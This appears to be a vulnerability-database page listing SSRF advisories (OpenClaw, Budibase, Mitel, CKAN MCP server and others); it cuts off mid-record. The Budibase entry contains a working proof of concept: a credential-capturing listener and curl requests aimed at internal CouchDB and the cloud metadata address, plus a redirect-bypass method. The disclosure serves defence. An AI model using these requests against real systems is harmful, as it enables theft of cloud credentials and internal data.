Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-G6Q9-8FVW-F7RF

Vulnerability from github – Published: 2026-02-17 21:42 – Updated: 2026-02-20 16:44
VLAI
Summary
OpenClaw Gateway tool allowed unrestricted gatewayUrl override
Details

Summary

The Gateway tool accepted a tool-supplied gatewayUrl without sufficient restrictions, which could cause the OpenClaw host to attempt outbound WebSocket connections to user-specified targets.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.2.13
  • Patched versions: >= 2026.2.14 (planned)

What Is Needed To Trigger This

This requires the ability to invoke tools that accept gatewayUrl overrides (directly or indirectly). In typical setups this is limited to authenticated operators, trusted automation, or environments where tool calls are exposed to non-operators.

In other words, this is not a drive-by issue for arbitrary internet users unless a deployment explicitly allows untrusted users to trigger these tool calls.

Details

Some tool call paths allowed gatewayUrl overrides to flow into the Gateway WebSocket client without validation or allowlisting. This meant the host could be instructed to attempt connections to non-gateway endpoints (for example, localhost services, private network addresses, or cloud metadata IPs).

Impact

In the common case, this results in an outbound connection attempt from the OpenClaw host (and corresponding errors/timeouts). In environments where the tool caller can observe the results, this can also be used for limited network reachability probing. If the target speaks WebSocket and is reachable, further interaction may be possible.

Fix

Tool-supplied gatewayUrl overrides are now restricted to loopback (on the configured gateway port) or the configured gateway.remote.url. Disallowed protocols, credentials, query/hash, and non-root paths are rejected.

Fix Commit(s)

  • c5406e1d2434be2ef6eb4d26d8f1798d718713f4

Release Process Note

patched_versions is set to the planned next release. Once the npm release is published, the advisory can be published without further edits.

Thanks @p80n-sec for reporting.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T21:42:15Z",
    "nvd_published_at": "2026-02-19T23:16:25Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe Gateway tool accepted a tool-supplied `gatewayUrl` without sufficient restrictions, which could cause the OpenClaw host to attempt outbound WebSocket connections to user-specified targets.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.2.13`\n- Patched versions: `\u003e= 2026.2.14` (planned)\n\n## What Is Needed To Trigger This\nThis requires the ability to invoke tools that accept `gatewayUrl` overrides (directly or indirectly). In typical setups this is limited to authenticated operators, trusted automation, or environments where tool calls are exposed to non-operators.\n\nIn other words, this is not a drive-by issue for arbitrary internet users unless a deployment explicitly allows untrusted users to trigger these tool calls.\n\n## Details\nSome tool call paths allowed `gatewayUrl` overrides to flow into the Gateway WebSocket client without validation or allowlisting. This meant the host could be instructed to attempt connections to non-gateway endpoints (for example, localhost services, private network addresses, or cloud metadata IPs).\n\n## Impact\nIn the common case, this results in an outbound connection attempt from the OpenClaw host (and corresponding errors/timeouts). In environments where the tool caller can observe the results, this can also be used for limited network reachability probing. If the target speaks WebSocket and is reachable, further interaction may be possible.\n\n## Fix\nTool-supplied `gatewayUrl` overrides are now restricted to loopback (on the configured gateway port) or the configured `gateway.remote.url`. Disallowed protocols, credentials, query/hash, and non-root paths are rejected.\n\n## Fix Commit(s)\n- c5406e1d2434be2ef6eb4d26d8f1798d718713f4\n\n## Release Process Note\n`patched_versions` is set to the planned next release. Once the npm release is published, the advisory can be published without further edits.\n\nThanks @p80n-sec for reporting.",
  "id": "GHSA-g6q9-8fvw-f7rf",
  "modified": "2026-02-20T16:44:39Z",
  "published": "2026-02-17T21:42:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g6q9-8fvw-f7rf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26322"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/c5406e1d2434be2ef6eb4d26d8f1798d718713f4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/releases/tag/v2026.2.14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw Gateway tool allowed unrestricted gatewayUrl override"
}

GHSA-G6QX-G4PR-92V7

Vulnerability from github – Published: 2026-06-12 15:08 – Updated: 2026-06-12 15:08
VLAI
Summary
Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection
Details

Summary

The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.

A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.

Details

Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!
  // ...
}

Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:

export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
  await blacklist.isBlacklisted(url)  // Checks against internal IPs
  const response = await fetch(url, { ...opts, redirect: "manual" })
  // Re-checks every redirect target
}

Where fetchWithBlacklist IS used (consistency gap proof): - automations/steps/discord.ts — Discord webhook - automations/steps/slack.ts — Slack webhook - automations/steps/make.ts — Make.com integration - automations/steps/n8n.ts — n8n integration - automations/steps/zapier.ts — Zapier integration - automations/steps/outgoingWebhook.ts — Custom webhooks - Plugin download (GitHub, NPM) - Object store tarball downloads

Where it is NOT used: - sdk/workspace/oauth2/utils.ts:59 — OAuth2 token fetch ← THIS VULNERABILITY

PoC

# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'SSRF: {self.path} | Body: {body.decode()}')
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &

# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'

# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL

# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'

# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable

# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'

Additional SSRF Vector: REST Integration Redirect Bypass

The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.

Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.

Impact

  • Internal service access — CouchDB (default port 5984), Redis, internal APIs
  • Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
  • Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
  • Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)

Remediation

Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:

import { fetchWithBlacklist } from "@budibase/backend-core/utils"

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetchWithBlacklist(config.url, fetchConfig)
  // ...
}

Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-12T15:08:28Z",
    "nvd_published_at": "2026-05-27T18:16:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe OAuth2 token fetch function in `packages/server/src/sdk/workspace/oauth2/utils.ts` (line 59) uses raw `fetch(config.url)` with **no SSRF protection**. The safe wrapper `fetchWithBlacklist()` exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was **not applied** to the OAuth2 token endpoint.\n\nA user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.\n\n### Details\n\n**Vulnerable code \u2014 `packages/server/src/sdk/workspace/oauth2/utils.ts:59`:**\n\n```typescript\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!\n  // ...\n}\n```\n\n**Safe wrapper used everywhere else \u2014 `packages/backend-core/src/utils/outboundFetch.ts`:**\n\n```typescript\nexport async function fetchWithBlacklist(url: string, opts?: RequestInit) {\n  await blacklist.isBlacklisted(url)  // Checks against internal IPs\n  const response = await fetch(url, { ...opts, redirect: \"manual\" })\n  // Re-checks every redirect target\n}\n```\n\n**Where `fetchWithBlacklist` IS used (consistency gap proof):**\n- `automations/steps/discord.ts` \u2014 Discord webhook\n- `automations/steps/slack.ts` \u2014 Slack webhook\n- `automations/steps/make.ts` \u2014 Make.com integration\n- `automations/steps/n8n.ts` \u2014 n8n integration\n- `automations/steps/zapier.ts` \u2014 Zapier integration\n- `automations/steps/outgoingWebhook.ts` \u2014 Custom webhooks\n- Plugin download (GitHub, NPM)\n- Object store tarball downloads\n\n**Where it is NOT used:**\n- `sdk/workspace/oauth2/utils.ts:59` \u2014 OAuth2 token fetch \u2190 **THIS VULNERABILITY**\n\n### PoC\n\n```bash\n# 1. Start SSRF listener\npython3 -c \"\nimport http.server\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_POST(self):\n        length = int(self.headers.get(\u0027Content-Length\u0027, 0))\n        body = self.rfile.read(length)\n        print(f\u0027SSRF: {self.path} | Body: {body.decode()}\u0027)\n        self.send_response(200)\n        self.send_header(\u0027Content-Type\u0027,\u0027application/json\u0027)\n        self.end_headers()\n        self.wfile.write(b\u0027{\\\"access_token\\\":\\\"x\\\",\\\"token_type\\\":\\\"bearer\\\"}\u0027)\nhttp.server.HTTPServer((\u00270.0.0.0\u0027, 9999), H).serve_forever()\n\" \u0026\n\n# 2. As builder, validate OAuth2 config pointing to internal service\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:9999/ssrf\",\"clientId\":\"test\",\"clientSecret\":\"test\"}\u0027\n\n# Result: Listener captures POST with Authorization: Basic header containing credentials\n# The client_id and client_secret are leaked to the attacker-controlled URL\n\n# 3. Access internal CouchDB\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://127.0.0.1:5984/_all_dbs\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n\n# Result: {\"valid\":false,\"message\":\"Unauthorized\"} \u2014 confirms CouchDB is reachable\n\n# 4. Access AWS metadata (in cloud deployments)\ncurl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"url\":\"http://169.254.169.254/latest/meta-data/\",\"clientId\":\"x\",\"clientSecret\":\"x\"}\u0027\n```\n\n### Additional SSRF Vector: REST Integration Redirect Bypass\n\nThe REST integration at `packages/server/src/integrations/rest.ts:754-778` calls `blacklist.isBlacklisted(url)` only once on the initial URL, then passes it to `undici.fetch()` with default `redirect: \"follow\"`. Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to `169.254.169.254`.\n\n**Contrast with safe wrapper:** `fetchWithBlacklist()` uses `redirect: \"manual\"` and re-checks every redirect target.\n\n### Impact\n\n- **Internal service access** \u2014 CouchDB (default port 5984), Redis, internal APIs\n- **Cloud metadata exfiltration** \u2014 AWS/GCP/Azure IAM credentials via 169.254.169.254\n- **Credential leakage** \u2014 OAuth2 client_id and client_secret sent as Basic auth to attacker URL\n- **Network reconnaissance** \u2014 Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)\n\n### Remediation\n\nReplace `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`:\n\n```typescript\nimport { fetchWithBlacklist } from \"@budibase/backend-core/utils\"\n\nasync function fetchToken(config: OAuth2Config): Promise\u003cTokenResponse\u003e {\n  // ...\n  const response = await fetchWithBlacklist(config.url, fetchConfig)\n  // ...\n}\n```\n\nAlso fix the REST integration redirect bypass in `packages/server/src/integrations/rest.ts` by using `fetchWithBlacklist()` instead of raw `undici.fetch()`.",
  "id": "GHSA-g6qx-g4pr-92v7",
  "modified": "2026-06-12T15:08:28Z",
  "published": "2026-06-12T15:08:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48146"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF via OAuth2 Config Validation \u2014 Missing fetchWithBlacklist Protection"
}

GHSA-G6V8-PG97-856J

Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-29 12:00
VLAI
Details

A vulnerability in the MiCollab Client server component of Mitel MiCollab through 9.5.0.101 could allow an authenticated attacker to conduct a Server-Side Request Forgery (SSRF) attack due to insufficient restriction of URL parameters. A successful exploit could allow an attacker to leverage connections and permissions available to the host server.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-36451"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-25T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the MiCollab Client server component of Mitel MiCollab through 9.5.0.101 could allow an authenticated attacker to conduct a Server-Side Request Forgery (SSRF) attack due to insufficient restriction of URL parameters. A successful exploit could allow an attacker to leverage connections and permissions available to the host server.",
  "id": "GHSA-g6v8-pg97-856j",
  "modified": "2022-10-29T12:00:50Z",
  "published": "2022-10-25T19:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36451"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories"
    },
    {
      "type": "WEB",
      "url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-22-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G79M-R5M3-MGJ5

Vulnerability from github – Published: 2025-12-04 15:30 – Updated: 2025-12-04 15:30
VLAI
Details

A flaw has been found in dayrui XunRuiCMS up to 4.7.1. This vulnerability affects unknown code of the file admin79f2ec220c7e.php?c=api&m=test_site_domain of the component Project Domain Change Test. This manipulation of the argument v causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L
2.0 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-14008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-04T15:15:56Z",
    "severity": "MODERATE"
  },
  "details": "A flaw has been found in dayrui XunRuiCMS up to 4.7.1. This vulnerability affects unknown code of the file admin79f2ec220c7e.php?c=api\u0026m=test_site_domain of the component Project Domain Change Test. This manipulation of the argument v causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-g79m-r5m3-mgj5",
  "modified": "2025-12-04T15:30:33Z",
  "published": "2025-12-04T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14008"
    },
    {
      "type": "WEB",
      "url": "https://github.com/24-2021/vul/blob/main/xunruicms-test_site_domain-SSRF/xunruicms-test_site_domain-SSRF.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.334250"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.334250"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.692915"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-G7VH-V2C6-R3FM

Vulnerability from github – Published: 2024-04-09 21:31 – Updated: 2024-04-09 21:31
VLAI
Details

The Everest Forms plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.7 via the 'font_url' parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T19:15:19Z",
    "severity": "HIGH"
  },
  "details": "The Everest Forms plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.7 via the \u0027font_url\u0027 parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-g7vh-v2c6-r3fm",
  "modified": "2024-04-09T21:31:58Z",
  "published": "2024-04-09T21:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1812"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3049743/everest-forms"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d4561441-d147-4c02-a837-c1656e17627d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G7WC-6RH5-CX62

Vulnerability from github – Published: 2023-07-27 21:30 – Updated: 2023-07-27 21:30
VLAI
Details

Server-Side Request Forgery (SSRF) in GitHub repository omeka/omeka-s prior to 4.0.2.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-3981"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-27T19:15:10Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) in GitHub repository omeka/omeka-s prior to 4.0.2.",
  "id": "GHSA-g7wc-6rh5-cx62",
  "modified": "2023-07-27T21:30:22Z",
  "published": "2023-07-27T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3981"
    },
    {
      "type": "WEB",
      "url": "https://github.com/omeka/omeka-s/commit/dc01ca1b03e845db8a6a6b665d8da36c8dcd2c31"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/f5018226-0063-415d-9675-d7e30934ff78"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G84H-J7JJ-X32P

Vulnerability from github – Published: 2026-07-07 19:35 – Updated: 2026-07-07 19:35
VLAI
Summary
@aborruso/ckan-mcp-server: SSRF via base_url allows access to internal networks (Potential fix bypass of CVE-2026-33060)
Details

Summary

A known vulnerability CVE-2026-33060 indicated tools including ckan_package_search and sparql_query that accept a base_url parameter had the risk of making HTTP requests to arbitrary endpoints without restriction. A fix was applied to filter out ip addresses. However, a method to bypass exists.

Details

CKAN MCP Server validates caller-supplied CKAN server URLs by inspecting only the parsed hostname string before issuing outbound HTTP requests. In src/utils/http.ts, hostname aliases such as ip6-localhost are not equal to localhost, are not dotted IPv4 literals, and are not bracketed IPv6 literals, so they pass the SSRF filter but can resolve to loopback when the server performs the request. A remote MCP caller that can invoke CKAN tools with a server_url can therefore make the server connect to local or private addresses and, for CKAN-shaped responses, receive response-derived data.

Fix

Replaced the single hostname === 'localhost' check with a blocked-hostname Set covering ip6-localhost and ip6-loopback. Patched in commit c761045a1b7c5f40d2626540dd2ef1d4feb91f8c.

@aborruso/ckan-mcp-server thanks hibrian827 for responsibly disclosing this issue.

Severity
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@aborruso/ckan-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.106"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-53509"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T19:35:57Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA known vulnerability CVE-2026-33060 indicated tools including ckan_package_search and sparql_query that accept a base_url parameter had the risk of making HTTP requests to arbitrary endpoints without restriction. A fix was applied to filter out ip addresses. However, a method to bypass exists.\n\n### Details\nCKAN MCP Server validates caller-supplied CKAN server URLs by inspecting only the parsed hostname string before issuing outbound HTTP requests. In `src/utils/http.ts`, hostname aliases such as `ip6-localhost` are not equal to `localhost`, are not dotted IPv4 literals, and are not bracketed IPv6 literals, so they pass the SSRF filter but can resolve to loopback when the server performs the request. A remote MCP caller that can invoke CKAN tools with a `server_url` can therefore make the server connect to local or private addresses and, for CKAN-shaped responses, receive response-derived data.\n\n### Fix\nReplaced the single `hostname === \u0027localhost\u0027` check with a blocked-hostname `Set` covering `ip6-localhost` and `ip6-loopback`. Patched in commit `c761045a1b7c5f40d2626540dd2ef1d4feb91f8c`.\n\n---\n@aborruso/ckan-mcp-server thanks **hibrian827** for responsibly disclosing this issue.",
  "id": "GHSA-g84h-j7jj-x32p",
  "modified": "2026-07-07T19:35:57Z",
  "published": "2026-07-07T19:35:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-g84h-j7jj-x32p"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-3xm7-qw7j-qc8v"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ondata/ckan-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.106"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@aborruso/ckan-mcp-server: SSRF via base_url allows access to internal networks (Potential fix bypass of CVE-2026-33060)"
}

GHSA-G86V-F9QV-RH6M

Vulnerability from github – Published: 2026-03-31 23:58 – Updated: 2026-03-31 23:58
VLAI
Summary
OpenClaw SSRF guard misses four IPv6 special-use ranges
Details

Summary

The SSRF/IP classifier treated several IPv6 special-use ranges as public and allowed fetches to proceed.

Impact

An attacker who controlled a fetched URL could target internal or non-routable IPv6 addresses that should have been blocked by the SSRF guard.

Affected Component

src/shared/net/ip.ts, src/infra/net/ssrf.*

Fixed Versions

  • Affected: <= 2026.3.24
  • Patched: >= 2026.3.28
  • Latest stable 2026.3.28 contains the fix.

Fix

Fixed by commit d61f8e5672 (Net: block missing IPv6 special-use ranges).

OpenClaw thanks @nicky-cc of Tencent zhuque Lab https://github.com/Tencent/AI-Infra-Guard for reporting.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.24"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:58:43Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\nThe SSRF/IP classifier treated several IPv6 special-use ranges as public and allowed fetches to proceed.\n\n## Impact\n\nAn attacker who controlled a fetched URL could target internal or non-routable IPv6 addresses that should have been blocked by the SSRF guard.\n\n## Affected Component\n\n`src/shared/net/ip.ts, src/infra/net/ssrf.*`\n\n## Fixed Versions\n\n- Affected: `\u003c= 2026.3.24`\n- Patched: `\u003e= 2026.3.28`\n- Latest stable `2026.3.28` contains the fix.\n\n## Fix\n\nFixed by commit `d61f8e5672` (`Net: block missing IPv6 special-use ranges`).\n\nOpenClaw thanks @nicky-cc  of Tencent zhuque Lab [https://github.com/Tencent/AI-Infra-Guard](https://github.com/Tencent/AI-Infra-Guard) for reporting.",
  "id": "GHSA-g86v-f9qv-rh6m",
  "modified": "2026-03-31T23:58:43Z",
  "published": "2026-03-31T23:58:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g86v-f9qv-rh6m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/d61f8e56723e03573b847422468d99c44c26e34f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw SSRF guard misses four IPv6 special-use ranges"
}

GHSA-G8F8-X9RF-6JG3

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

IBM Jazz Foundation and IBM Engineering products are vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 194594.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
